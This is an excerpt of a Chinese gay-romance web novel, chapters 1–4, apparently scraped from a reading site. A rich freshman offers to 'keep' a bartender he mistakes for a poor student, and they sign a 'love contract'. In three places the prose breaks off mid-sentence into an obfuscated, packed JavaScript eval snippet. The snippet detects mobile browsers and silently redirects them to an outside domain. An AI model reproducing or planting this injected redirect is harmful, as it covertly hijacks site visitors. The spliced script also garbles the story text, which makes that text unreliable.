《错把太子爷当穷学生甩了后》 1. 第 1 章 那晚,陶真是被刚认识不久的大学同学带到酒吧里长见识的。 推开雕刻着暗色骷髅头的大门,踏进沾满了彩色飘带的木质地板,映入眼帘的便是一片群魔乱舞的景象:素不相识的红男绿女拼了桌,下一刻便调笑着热吻起来,开始摸彼此的私密部位。 站在门口的营销见他们一行人来了,热情万分地将他们带进卡座,路上脸不红心不跳地为一对差点光屁股蛋的情侣手动打上马赛克,完事就开始为他们介绍今晚的酒水单。 ——这种刺激程度,显然超出了陶真这个小处男的认知。 他盯着沙发上那团可疑的白色污渍看了几秒,脚下像是生了根一样在原地定住了,怎么也坐不下去,转身就要离开这个是非之地。 只是还没来得及走两步,就被身边的同学一把拉住。 “哎,陶真。不是说好一起过来长长见识的嘛,你难道害怕了?” 陶真果然停下了。 那些同学趁热打铁:“你以前在宣城那种小地方,不知道情况。南城的酒吧都是这样的,这很正常~” 很正常? 这正常吗?? 陶真满腹怀疑,面上却装得若无其事:“咳……我没害怕。” 像是看透了他的色厉内荏,同学们不约而同地笑起来,强硬地拽着他的袖子坐下,把酒水单递到他跟前。 “行了行了,你没害怕。哥们带你玩一次就知道了,你会爱上这里的。” “酒我们都已经点好了,你直接买单吧。” 一个收款码被递了过来,上面四位数的数字算不上小。 几人彼此对视,使了眼色,又含着笑意看向陶真,在桌子底下比了几个手势。 他们跟陶真根本不是一路人,却非要把他留下,原因很简单:陶真是个家里有钱的富二代。 陶爸十几年前在矿上发的家,从一个苦哈哈的穷小子,摇身一变成了身家千万、上亿的煤老板,连带着陶真也变得金光闪闪,虽然成绩算不上顶尖,却能靠爸爸的投资,进入南城大学国际交换部,很有实力。 而且陶真还很舍得给朋友花钱,不论是出去吃饭还是买东西,他替朋友买单,眼睛眨都不眨。 这样人傻钱多的土财主,可遇而不可求。 灯光太暗,陶真没注意到他们窸窸窣窣的小动作。 他只是忍着空气中刺鼻的香水味,飞快地拿出手机,爽快地扫码付了账。 “叮咚”一声,酒吧营销笑着退下,同学们也不再围在他身边。 陶真这才松了口气,低下头,心有余悸地摸了摸自己的裤子,确认它上面没沾染到什么脏东西。 老话说的对,死要面子活受罪。 这地方太乱了,来见识过这么一次就差不多了。 想到这儿,陶真重新抬起了眼。 然而就这么漫不经心的一瞥,他的视线却牢牢地落在了不远处的某个人身上,像牛皮糖一样撕也撕不下来。 ——那是一名调酒师。 在一片群魔乱舞中,站在吧台前岿然不动,一张帅得令人神魂颠倒的俊脸上写满了冷漠和淡然。 白衬衫从最底下扣到最上面一颗,一丝不苟,仿佛从泥地里开出的一朵清丽摇曳的荷花。 只可远观,不可亵玩。 陶真呆呆地看了几秒,心忽然“咚咚”地跳了起来。 他情不自禁地直起身子,想要靠近那名调酒师,有人却先他一步,笑意盈盈地举起了手机,熟络地跟调酒师攀谈起来。 可惜的是,那名调酒师根本没有要搭理的意思,面色平静地转过身继续擦杯子,一句话也没说。 陶真迟疑了。 他停下了起身的动作,有些出神。 直到服务生端着酒水过来,同学们注意到了他的魂不守舍,用力地拍了拍他的肩膀,开玩笑道:“怎么了?看上哪个妹子了?” 陶真这才猛然惊醒,犹豫了几秒,语气轻松地说:“不,不是姑娘。我只是觉得……刚刚那边的一个调酒师很、很帅……” 几人顺着他的目光望去,脸上闪过惊异。 他们自然知道陶真说的是谁。祝闻声,那个前段时间才到Light酒吧里就引起了一阵骚动的少年。 平心而论,他长得确实很帅。眉骨优越,丹凤眼眼尾上挑,平扇双眼皮窄长,睫毛浓黑。略微“眉压眼”的长相,却不显凶,只为他平添了几分冷漠而阴郁的气质。 但是这祝闻声太拽了,拽得让人很不爽。 多少男女生前仆后继地倒贴他,他却不为所动。 晦暗的灯光下,不知是谁的眸光一动:“哦,你说的是祝闻声吧?那你惨了,走正常的途径,根本没办法要到他的微信。” 陶真其实已经亲眼看见了,但难免还是有点失望,扯了个笑容:“没事,那就算了吧……” “哎!别算了呀!只是正常途径不行,没说别的不行啊,”那人挤了挤眼睛,“你注意到他的打扮了吗?有没有看出来什么?” 陶真顿住。 虽然隔了很远,但那少年骨节分明的大手格外清晰夺目。从尺骨到结实的小臂,从宽肩到劲瘦的窄腰……每一处都力量感十足。 只是他穿的衣服根本没什么牌子,身上也没什么首饰,抬起袖口时,隐隐约约还看得出大片颜色骇人的瘀青和擦伤。 “他的家境……”陶真感觉自己忽然明白了什么,“是不是不太好?” “对了!他这种人啊,肯定是过来勤工俭学的大学生。最缺的是什么?钱!而钱,刚好是你最不缺的东西。所以我说啊,你得另辟蹊径,不能用传统的眼光去看你跟他的关系——” 陶真:“可是……” “有什么可是的?你这是帮助他,保护他。如果不是你,他遇到了别人,才是被侮辱呢。哥们这么多人,怎么可能骗你?” 陶真安静了几秒,若有所悟。 过了不知多久,趁着他去上厕所,那帮同学也停止了冲彼此挤眉弄眼的动作,彻底放松地大笑,就着这件事高谈阔论起来,仿佛已经看到了陶真吃瘪、祝闻声发怒的模样。 “哈哈哈哈,斌子,你怎么这么损?!” “就是啊,你怎么想到让陶真去包|养祝闻声的?他们俩要是能成,我倒立吃屎!” 被称为斌子的人笑起来:“他们俩当然成不了啊……” “就是因为这样,我们才有乐子看,不是吗?” - 酒吧里的声音太过吵嚷,各种窥探的黏腻目光恶心得令人作呕。 又一次拒绝了一个要跟他约|炮的壮汉熊男后,祝闻声冷着脸扔下了围裙,离开了吧台,准备去卫生间洗把脸。 走到门口时,他刚好碰到了从另一侧出来的黎旻。 红发黑裙的女人掀开布帘,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775753|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见他的时候也明显一顿,鲜红的唇瓣碾了碾烟蒂,似笑非笑地看向祝闻声,揶揄着开口:“少爷,后悔了吗?” 祝闻声侧过脸,身上的戾气散了些许。 暖黄色的灯光拂过他高挺坚硬的鼻梁,明晃晃地照亮了他的耳朵。 那里跟正常人长得不太一样,上半段几乎因增生而扭曲,形状像是饺子。 这是由反复受伤和充血而造成的,和那些经常会出现在身上的瘀青和伤口一样,是MMA综合格斗选手的特征。 黎旻浅笑着说:“长这么大,还没像现在这样,每天被这么多人骚扰、受这么大的耻辱吧?” 这话倒是不假。 作为南城祝家的少爷,祝闻声从前十九年没经历过的骚扰,在这儿一天就体验了个遍。 那些人把他当成了毫无背景、勤工俭学的穷学生,以为只要随便给点钱,他就会没骨气地贴上去。 他打从心底里觉得烦。 但是,“不后悔。” 祝闻声收回视线,拧开了水龙头,低头浇湿了脸。 细密的水珠顺着他锋利的下颚线往下流淌,将白衬衫的领口浸透,与肉色的皮肤紧紧相贴,随呼吸,显露出起伏的胸口弧度。 年轻的格斗选手,身上的每一寸皮肤都是精雕细琢的。 格斗选手都是天生的疯子,为达目的不择手段。 经过无数训练和战斗,把身上的每一寸肌肉锻炼激活。迅速脱水,又迅速恢复状态。翻跃上台时就像丛林里饿了许多天的野兽,纯粹而血腥。 “表姐,谢了。” “……” “操,别谢了,你谢得我折寿。” 黎旻拿他没办法,只好敛起了脸上的笑容,面无表情地弹了弹烟灰, “谁让你放着好好的太子爷不做,非要跑到我的俱乐部里练MMA呢?托你的福,我被外公外婆骂得狗血喷头,也差点就被你爷爷奶奶的手段搞得干不下去了。” “你特么的不在这儿受点苦,都不知道我为了你付出了多少!” 想到自己这段时间的心酸经历,黎旻咬牙,伸手扯过祝闻声的领子摇晃发泄。 她指尖猩红的火点明明灭灭,烟灰随之摇晃,抖落在祝闻声潮湿的领口。 祝闻声也没反抗,只是神态平静地低着头,殊不知自己此时此刻的模样到底有多狼狈。 直到两人背后的男卫生间里传来了一阵轻快的脚步声。 一道纤细修长的人影拨开了帘子,视线瞬间凝固。 满腔热血冲上了心头,陶真缓缓睁大了双眼,呼吸急促。 也许斌子他们说的是对的。 他心有顾虑,认为即使祝闻声是穷学生,他也不该用“包|养”这种手段来定义二人之间的关系。 但现在的场景,明显告诉他,他错了。 如果他不主动把祝闻声揽在自己的羽翼下,祝闻声就会像现在这样,被其他人折辱。 念及此,陶真深吸了一口气。 “放开他!” 他大跨步地走到两人之间,将祝闻声护到自己身后,一双湿漉漉的狗狗眼恶狠狠地瞪向黎旻: “从现在开始,他是我的人了,不允许你欺负。” 说罢,陶真便转过身,仰起头看向祝闻声: “她刚刚准备给你多少钱?我给你双倍。” “我养你!” 2. 第 2 章 不远处的舞池爆发出一阵嘈杂的尖叫,简直成了狂欢的地狱,卫生间门口却一时静得落针可闻。 那句掷地有声的“我养你”盘旋在空气中久久都没消散,足足过了好几秒,祝闻声才如梦初醒般眨了下眼,细细地打量起了说这句话的人。 ——这是个极为漂亮的金发少年。 从刚刚在吧台的那会,就一直在偷看自己。被那些狐朋狗友排到最边缘,鹤立鸡群。 张扬夺目的发色衬得他整个人极为明亮。巴掌大的小脸上全是五官,鼻梁挺翘,嘴唇嫣红,一颗小虎牙明晃晃的。 当然,最吸引人注意的还是他那双眼尾微垂、湿漉漉的狗狗眼。 干净,清澈,稚气十足。 明明是要“包/养”人,却用甜言蜜语,把这件事说得像是求婚。 祝闻声的嘴唇动了动,心底隐隐生出一股难以言喻的情绪,盯着金发少年看了许久:“……你养我?” 陶真立刻用力地点了点头。 祝闻声沉默了几秒:“你知道我是谁吗?” 陶真还没来得及回答,一旁的黎旻却真的再也忍不了,猛地低下了头。 女人的肩膀不住地颤抖,连手里的烟灰都撒了一地,像即将变异成丧尸的前兆。 她……是在笑吗? 怔愣几秒后,浑身的血液差点都涌到了头顶,陶真后知后觉地有些生气,猛地上前握住了祝闻声的手腕: “我当然知道!我不仅知道你是谁,还知道你这么长时间以来到底过得有多不容易!” 一边为了高昂的学费出卖劳动力,一边还要为了生活委曲求全,向欺辱他的人曲意逢迎。 “你以后不用再忍受这些了,我会给你钱的,”陶真一脸认真,身上白色T恤前的GUCCI字母在灯光下闪闪发亮,就连攥着祝闻声的那只手上都有着金光闪闪的饰品,沉甸甸,触感冰凉,“我叫陶真。且陶陶、乐尽天真的那个陶真……” 仿佛有一阵细细密密的电流从两人皮肤相碰的地方一路往上,祝闻声的呼吸情不自禁地急促了几秒。 很奇怪,他厌恶那些向他抛媚眼、求约炮的人,却并不讨厌面前这个试图包/养他的男孩。 也许是因为真正有坏心思的人,不会拥有那么一双璀璨而明亮的眼睛。 然而说到底,那男孩——陶真,还是找错人了。 “……我不是那种人,不要你的钱,也不用被你养。” 昏暗的灯光下,祝闻声的瞳孔黑漆漆的,是拒人于千里之外的冷漠。 他调整好呼吸,用滚烫的指腹拉开陶真的手,语气极其冷淡:“麻烦让一下,我去上班了。” “可是……!” 陶真张了张唇,眼睁睁地看着少年越过了他,径直走向吧台。 一旁红发黑裙的女人也终于停止了无声的大笑,摁灭了手中的烟头,姿态优雅地走到陶真的跟前,勾了勾他的下巴,慵懒道:“放弃吧小弟弟,我刚刚都那么强迫他了,他也没有同意我的‘包/养’。” “他是块不好啃的硬骨头,我建议你还是换个人追吧,乖啊。” 说罢,黎旻也离开了。 陶真在原地站了半晌,再一次被来上厕所的人用异样的眼光打量时,终于有些失魂落魄地走向自己原本的卡座。 熟悉的面孔全都消失不见了,取而代之的是一帮围在桌边抓手指的陌生人。他们前一秒还在喝酒,下一秒就在尖叫里嘴对嘴地亲了起来。 陶真停在原地没敢过去,拿出手机给斌子发了条消息:【斌哥,你们在哪儿呢?】 周遭水泄不通,陶真被撞得摇摇晃晃,好不容易才站定,点开了那头发来的语音。 满不在乎的男声响起:【哦,我们已经出来了,现在正准备去曹记吃龙虾呢。我们刚刚以为你先回家了,就没等你,不好意思啊。】 “……” 陶真安静了好几秒,胡乱地抬起手抹了把脸。 也许是灯光太亮了,映得他的眼圈有点红。 算了。 朋友之间没必要计较那么多。 是斌子他们主动跟他结识的,这样外向的人,天生比较大大咧咧吧。 陶真收起了手机,吐出一口气,拨开层层叠叠的人群,很艰难地往酒吧的门口走。 一路上拥吻狂欢的人群相当暴露,他都保持着非礼勿视的态度。然而在经过一群上半身光裸的“十八罗汉”时,他却忽然顿住了。 原因无他,此时此刻,他们正把一个穿着服务生衣服的女孩围在中间,每个人的脸上都带着玩嗨了以后的兴奋和激动。 尽管那怯生生的女服务生吓得脸都白了,端着托盘连连后退,那十八罗汉却把她的抗拒当成了情/趣,抓着她的手摸自己的腹肌。 陶真脑袋一热。 回过神时,他已经三步并作两步地冲到了人群之中,把女服务生挡在了自己的身后。 几道男人不满的视线瞬间向他直射来。 “哎兄弟,我们认识么?你干什么!” “就是啊,没看见我们在这儿玩得正开心吗?” 女孩被吓得一抖,忙抓住陶真的衣摆晃了晃。 陶真动作幅度很轻地安抚了她一下,转过身时半点不让,灿金色的发丝在跳跃的霓虹色光芒下显得格外耀眼。 “我干什么?我还想问呢,你们把人家服务员留在这儿干什么?我点了好半天的单子没人给我上!” “……”十八罗汉自知理亏,顿住了。 陶真隔空握住女孩的肩膀把她往边上推,扬声,一把清脆的嗓子格外响亮: “来,我给你多拿点钱,别跟他们玩了,先去仓库帮我拿几瓶酒——” 金发少年身上各种各样的饰品闪得人眼花,身上的GUCCI也是当季新品,一件的价格顶他们好几件。 十八罗汉们有自知之明,原本涌到胸口的不满也渐渐散了,偃旗息鼓,重新坐下喝酒。 终于离开了那个地方,女孩腿一软,扶着吧台桌子差点跌下来。 陶真扶着她坐下,摸了摸口袋,没摸到手帕纸,只好把自己的T恤下摆拉起来给她抹鼻涕。 “你一个小姑娘……下次别来这种地方打工了。” 女孩泪眼汪汪地点了点头,声音有些发颤:“主管姐姐说过了,让我待在后厨,但…但我今天是第一天来,不小心走错了地方,不怪别人。” “这里上班工资很高的,我舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775754|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得走。” 陶真垂下眼,不知想到了什么,有些许出神。 吧台处的灯光明亮,也比别处要稍微静谧一些,甚至隐隐给了他一种被人注视着的感觉。 大概是错觉吧。 “好吧,反正你自己注意安全。” 陶真扶了女孩一把,抬起头,“跟主管说一声,去后面休息吧。我就先走了。” 女孩点点头:“谢谢你……” 在目送着陶真往门口走时,女孩才注意到他被弄脏的T恤下摆,短促地“哎”了一声,匆匆去拉他。 “等等,你的衣服——” 两人拉扯的这一秒,陶真抬起眼,猝不及防地对上了不远处祝闻声的视线。 空气仿佛在一瞬凝固住。 逼近一米九的冷淡少年眸如点漆。 上挑的丹凤眼被眉骨的投影压着,看不清,却好像某种蛰伏在森林里的野兽。 表面上才出现在这里,实际却已不知窥伺了多久。 “砰”地一声,祝闻声扔下了腰间的围裙,转身离开了吧台。 陶真猛地回过神,后退两步避开了女孩的接触,匆匆地朝那个方向追了过去。 人潮汹涌,陶真险些踩了人家几脚,好不容易才挤到了黑洞洞的走廊口,左右张望。 祝闻声会不会觉得自己很花心啊? 包/养不了他,就开始对别的服务生下手? 陶真没忍住小小地骂了声脏话,脑袋嗡嗡作响,咬牙走进了走廊里。 入目是一片伸手不见五指的黑,他凭着本能走了两步,忽然感觉自己踢到了什么东西。 空气中忽然响起了一阵高亢激昂的呻|吟。 男人的辱骂声和另一道娇俏的求饶声混合在一起,糅杂着啧啧水声,瞬间让陶真头皮发麻。 “谁在那边!”那男人粗吼着骂。 陶真身上的汗“唰”地一下下来了,立刻转身。 野鸳鸯的追骂声不止,他绝望至极,同手同脚地往外跑。 就在即将跌倒的那一刻,陶真的手腕忽然被一只宽大的手掌握住,身体被重重地压进了一个滚烫的胸膛。 后背抵靠在冰冷的墙壁上,面前却是饱满而柔软的胸肌。陶真一时间被撞得七荤八素,回过神才感觉到自己的T恤往上撩起,纤细而光洁的腰被一只粗粝、满是老茧的大手用力握住。 是谁?! 陶真的眼里一瞬蕴满了水汽。 “放开我!” 他像只愤怒的小兽,呜咽着伸腿蹬了身前的男人好几下。这男人却仿佛对这点反抗毫无所觉,甚至往下扣住了他的大腿弯,单手就将他整个人抱起,藏在怀里。 差距太悬殊了。 那男人的力量太恐怖了。 陶真处于完全被掌控的姿态,根本反抗不了,正要狠狠地冲着那人咬下去时,忽然听见那对交/媾的野鸳鸯越过了他,一边骂,一边远远地跑走了。 与此同时,他的眼睛也适应了黑暗,在短暂的晃神之后,看清了眼前男人的面容—— 几缕散乱的黑发垂在眼前,窄长的平扇双眼皮掀起。 俊美十足,冷淡阴沉。 不是别人,正是祝闻声。 3. 第 3 章 怎么会是他?! 陶真的脑袋“嗡”的一声,他仿佛是被捏住了后脖颈的小猫崽子,推也不是,顺从也不是,只会僵僵地蜷在原地。 半晌,还是祝闻声率先松开了对他的钳制,将他轻轻放到地面。 少年黑沉沉的瞳眸里没什么情绪,居高临下地望着他,仿佛只是在陈述一个事实:“你哭了。” 哭……哭了? 陶真后知后觉地摸了摸脸,果然,触感是一片潮湿的冰凉。他有点尴尬地抹了好几把,找不到地方擦,正想胡乱地揩在T恤上,就见面前忽然出现了一张整齐的手帕纸。 顺着那张纸往上,映入眼帘的是一只脉络淡青、骨节分明的大掌。 “用这个。”祝闻声别开脸,声音有些哑。 陶真:“……谢谢。” 他低着头,一边擦脸,一边小心翼翼地用余光觑了两眼祝闻声。 刚刚的拉扯,令祝闻声白衬衫领口的扣子松开了。从锁骨到胸膛,一小片光裸的皮肤露在外面,显得他整个人的气质都有些不一样了。 比起那种斯文勤俭又温柔的三好学生,更像是那种冷淡桀骜的校/霸……轻而易举就能把人摁住,居高临下施以“惩罚”的那种。 很粗暴,很恐怖。 连拥抱都凶得像是要吃人。 不过这肯定是陶真的错觉。 祝闻声都已经拒绝了他的包/养,厌恶他都来不及,怎么可能会主动跟他亲密? 刚刚的事,只不过是情急之下的权宜之计,祝闻声怕他被那对野鸳鸯发现,才会那样对他的。 想到这儿,陶真磨磨蹭蹭地收起了纸巾,有点小心翼翼地抬起头: “对了……你刚刚,看到我跟那个女生在那边聊天了吗?” 祝闻声的身体有一瞬微不可见的凝滞。 他没有转过头,只是平静地“嗯”了一声。 “其实你误会了,我不是看到一个人就想包.养的,我跟刚刚她其实没什么关系,”陶真犹豫了几秒,鼓起勇气,“我……我还是比较想包.养你。” 走廊里一片浓重的黑暗。 祝闻声慢慢地转过头,瞳眸里反射着些许不远处的亮光,一张脸俊美冷淡。 陶真心里霎时一紧,却佯装镇定:“我知道,刚刚在那个女人面前提双倍钱养你的事,肯定让你觉得难堪了。但我没在开玩笑,我向你保证,如果你跟我在一起的话,我不会强迫你做不喜欢的事,而且除了给你提供金钱的支持以外,还会尊重你的意愿,满足你的要求……” 祝闻声忽然开口打断他:“无论什么要求?” 陶真一怔,用力点头:“无论什么要求!” 祝闻声沉默两秒,向陶真的方向逼近了一步。 男人身上浑然天成的压迫感实在是太强大,陶真明明占着“金主”的身份,却不由自主地后退了一些,几乎快要贴在墙壁上。 他顶着一头灿烂的金发,仰着那张漂亮的小脸,颇有点天不怕地不怕的初生牛犊意味。 “你可以仔细考虑一下,因为在这里上班其实……” 祝闻声的双眸极其冰冷。 好似一块巨石砸上冰层,带起整个世界的剧烈震颤,躁郁的情绪涌上心头,一些毫无缘由的念头雪花般飞溅出来。 无论什么要求都答应? 陶真到底知不知道这意味着什么? 但凡他想“包/养”的人不是自己,而是其他人,现在就会跟刚刚那对野鸳鸯一样在这儿交/媾了。 那人才不会松开陶真,反而会就着刚刚的姿势,摁住陶真的细腰,剥掉那件碍事的T恤,然后咬住那一截雪白到晃眼的皮肉,逼得他像可怜巴巴的小动物那样哭出来—— 祝闻声深呼吸了两口气,按捺下胸口的躁动,平静地将不慎解开的领口重新系好,不再看陶真,转身离开走廊。 陶真该庆幸自己找上的人是他。 而他对这种淫/乱的事情没兴趣。 “哎!” 陶真一脸茫然,完全不知道为什么明明说的好好的,祝闻声却忽然走人了。 “所以你到底怎么想的呀?你同不同意呀?” 陶真小跑着追了出去,一直跟到了吧台旁,还在依依不饶地追问:“你是南城大学的学生吗?有没有申请助学金?是不是生活费不够,所以才来打工的呀?” “我听说大学里很多人都很过分,明明自己有钱,却要把贫困生的名额都占据掉。这些人是真不要脸,我爸说了,如果遇到这种缺德货,一定要见义勇为,替天行道……” 祝闻声走得不算快,能够清晰地将少年清朗而活泼的声音全部收入耳中。他很庆幸自己今天穿的是牛仔裤,而不是平常训练穿的轻薄短裤。 正当他打算拨开吧台的门走进去、即将摆脱陶真的追随时,一道娇软而惊喜的女声忽然响了起来。 “原来你还在这儿!我还以为你已经走了呢!” 刚刚那个被陶真从十八罗汉手里救下来的女孩欣喜地跑到了他身边,手里还攥着一件叠得整整齐齐的工作服:“你的衣服被我弄脏了,我想帮你洗干净……你跟我一起去休息室吧?换上这个,然后把那件脏衣服给我……” 怯生生的女孩脸红了,大概一米六的个头,站在一米七四的陶真身边,恰好是个最萌身高差。 陶真收回落在祝闻声身上的视线,转头望向女孩,想起了她的脸,恍然大悟:“哦!没事儿,这衣服统共也没多少钱,我回家随便换了就成。你不用帮我洗,赶紧去休息吧。” 女孩摇了摇头,上前一步,拉住陶真的衣摆:“没关系的,你…你好心帮了我,我总不能恩将仇报……” 陶真打小就拿女孩子没办法,既不好意思厉声呵斥,却也不好意思走得太近。这会儿他颇有些手足无措。 眼看着就要被这女孩一步一步地拉到后面的员工休息室时,身侧忽然覆下了一道阴影。 “男女有别,”祝闻声冷声说,“既然他要去换衣服,那就跟我来吧。” 女孩茫然地抬起头:“……?!” 她还没来得及反应,便见那位几乎从不和任何人交流的祝闻声用力地握住了陶真的手腕,带着人径直离开,消失在了拐角。 茫然的不只有她,还有陶真。 一边跌跌撞撞地往里走,一边感受着从手腕上传来的灼热温度。 呆滞了几秒,他才理清楚现在的状况,没忍住抿了抿唇。 ……怎么还是不相信他啊? 还是认为他求包养不成,就会继续勾搭别的女孩吗? 他真的不是那样的人。老老实实本本分分了十八年,别说亲嘴了,连手都没跟人家牵过。 “别往里走了!” 陶真忽然停下了脚步,用力地甩了一下胳膊,没甩开祝闻声的钳制,漂亮的小脸紧紧绷着,狗狗眼垂着, “我没想要女生帮我洗衣服,也没想去包/养人家。不放心的话就把我直接送到酒吧门外吧,我要回家……” “陶真。” 祝闻声转过头,冷淡的语气下藏着滚烫熔岩般的情绪,“你今年多大?” 陶真:“……十八岁。” 祝闻声颔首,喃喃自语般重复道:“成年了啊……” 成年了,所以呢? 陶真有些不明所以,却完全挣脱不开,只好被祝闻声一路拉着往里走,绕过了休息室,在一间架着电脑的办公室门口停下。 “咔嚓”一声,祝闻声锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775755|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了门。 房间里的灯光大亮,照得陶真情不自禁地眯起了眼睛。 祝闻声抽出了键盘,在陶真发出疑问之前淡淡道:“手机号和身份证号多少?” “18988886……” “你家在哪儿?” “宣城。我从小就住在那儿,我爸是宣城陶氏化工的老板,我妈是音乐剧演员,她很厉害的,全亚洲、全球巡演——” “你上的是哪个大学?” “南城大学,国际交换部……你问这个干什么?” 陶真终于意识到了些许不对劲,他有点警惕狐疑地凑到祝闻声跟前,试图去看他敲下的内容。然而还没来得及看清,便被一把捏住了下巴。 雪白小脸的触感果然和想象当中的一样好,柔软的脸颊肉极为细腻,仿佛软糯的甜品。 少年嫣红的唇瓣微微张开,那枚俏皮的小虎牙若隐若现,更为诱人。 “最后一个问题。” 祝闻声盯着少年嫩粉色的舌尖看了几秒,淡淡地说:“你之前说的那些话,是不是真的?” 陶真愣住了,缓了几秒以后,他才意识到祝闻声指的是什么。 ——“如果你跟我在一起的话,我不会强迫你做不喜欢的事,而且除了给你提供金钱的支持以外,还会尊重你的意愿,满足你的要求……” ——“无论什么要求……” “是真的啊。” 陶真迟疑道:“你……你问这个,干什么?” 祝闻声没有第一时间回答他。 摁下回车键,“叮咚”一声,电脑旁的打印机嗡嗡地运作了起来,不一会就吐出了两份一模一样的协议。 翻开,标题的四个大字格外引人注目—— “恋、爱、合、约”。 甲方:陶真,身份证号12332……手机号:18988886……常住地址:宣城市陶氏…… 乙方:祝闻声,身份证号32121……手机号:13554321……常住地址:南城市Light俱乐部…… 合约期内,甲方不得干涉乙方的工作,不得荒废学业…… 期间内,甲乙双方均不得出轨,不允许和任何第三者有暧昧往来和身体关系…… …… 甲方双方需满足对方的要求,尊重彼此的意愿,包括随时终止条约。 甲方每月需给予乙方100元经济补偿。 陶真呆住了,对着那两份一模一样的协议看了又看。 祝闻声则站起身,从桌上抽了支笔,摁开,在那两张纸上签自己的名字。 现代的格斗比赛有量级划分,可从前的格斗无论体重,不看年龄,上台就是弱肉强食。 丛林法则,就好似刻在每个格斗运动员骨血里的蛮横。 祝闻声一直以为自己没有这份残忍和恶劣。 但今天,陶真主动走到他的身边。 “不是说要‘养我’么,” 祝闻声的字迹苍劲有力,他写完后,顺势把纸笔推到陶真的面前,“签吧。” 陶真接过笔,沉默了好一会。 挺好的合约,也和他的意愿完全相符。 看起来,一切都没什么问题。 可是…… 祝闻声的声音清冷:“还有什么顾虑吗?” 陶真犹豫了一会,还是咬牙道:“……每个月,你就只要一百块,人.民.币吗?” “刚刚那个女人……就只打算出五十?” “……” 陶真的目光一瞬间变得极其怜悯。 上菜市场买几斤猪排骨都不止五十啊。 多可怜的孩子啊,这得是多没钱,才会连包养的费用都只要这么点?! 4. 第 4 章 “……” 祝闻声额角的青筋狠狠地跳了跳,他此时此刻真的很想知道,一向优雅的黎旻听见这句话,会不会被气疯? 五十? 后面加个万还差不多。他在俱乐部每个月请的教练、营养师、团队、一起去比赛的车马费……零零总总加起来都不止五十万了。 他填一百块,纯粹是不缺钱,不需要吃陶真喂的这口软饭,所以随便填了一个数字而已。 “不,”祝闻声沉默两秒,觉得自己还是有必要为黎旻正名一下,“她不是只……” 等等,不对,被绕进去了!他跟黎旻是正经的表姐弟关系,什么时候扯到包养费了?? “没关系,不想说就不说了,”陶真见他沉默,体贴地接过了话茬,只是看向他的目光饱含着愈发浓郁的怜悯和心疼,甚至还在为他找补,“我知道,应该不可能这么少。有可能是你听错了,哪怕没有五万,至少……也得出到五千块吧。” 祝闻声:“……” “不过不管怎么说,幸好你没有同意她的包/养。因为无论她给你多少,我都会努力给你双倍!” 金发少年说完,忽然握拳,眼睛亮晶晶地拿起笔,在那张协议上的“100”后加了三个零。 “这个只是基本工资,”他兴致勃勃地说,“每个节假日、休息日都算加班,会有三倍工资。月末还会发奖金……除此之外,你有任何想要的东西,都可以直接跟我说,我额外给你买。” 真是……相当贴心的老板,相当高昂的工资。 祝闻声摁了摁眉心,还是鬼迷心窍般开口:“嗯,行。” 陶真欣喜地弯起了眼。 他高高兴兴地在协议上签了自己的名字,圆圆墩墩的两个字挨挨挤挤地靠在一块,像两个虎头虎脑的小孩。 “那我们就这样说定了,”他笑眯眯地看向祝闻声,“男朋友,从今以后,多多指教!” 祝闻声的喉结滚了滚,也不知到底是在适应那句“男朋友”,还是适应些别的什么,总之,他最终还是轻声道:“嗯,好。” 一式两份的恋爱协议签完了,陶真高高兴兴地收起了属于自己的那份,想赶快回家把这个消息跟朋友们分享一下。只是还没来得及拧开门把,他就感觉到身后忽然袭来了一阵滚烫的风。 祝闻声的动作算不上轻柔,已然忍耐了许久。 他将陶真抵在自己和门板之间,眉骨的阴影遮住了丹凤眼,声音有些许沙哑:“陶真。” 灯光大亮,刺得眼前一片模糊 陶真不得不眯着眼睛,笑着问:“嗯?怎么啦。” 手背骨节上的青筋脉络神经质地跳了跳。 祝闻声也不知道自己今天究竟是怎么了。 也许是发了疯,才会做出这样的事情。 “……没什么,”过了好几秒,祝闻声才淡淡地收回目光,面色一如既往的平静,只有胸膛剧烈地起伏了一下,“这扇门要这么开。” “咔嗒”一声,锁开了。 “哦!” 陶真毫无所觉地笑着,顺势从祝闻声的怀里出来,脚步轻快地往外面走。 当一天和尚撞一天钟,祝闻声还要继续在酒吧干活。陶真在吧台陪了他好一会,最终受不了自己被弄脏的T恤和满身的烟酒味,先回家洗了澡换了衣服。 酒精的作用姗姗来迟,陶真脸上挂着笑沉入了梦乡。 这会才八月份,离正式开学还有会工夫,正是人生当中最爽的一段暑假。 陶真毫无心理负担,一觉就睡到了第二天中午,还是被亲爹打来的电话吵醒的。 “喂……” 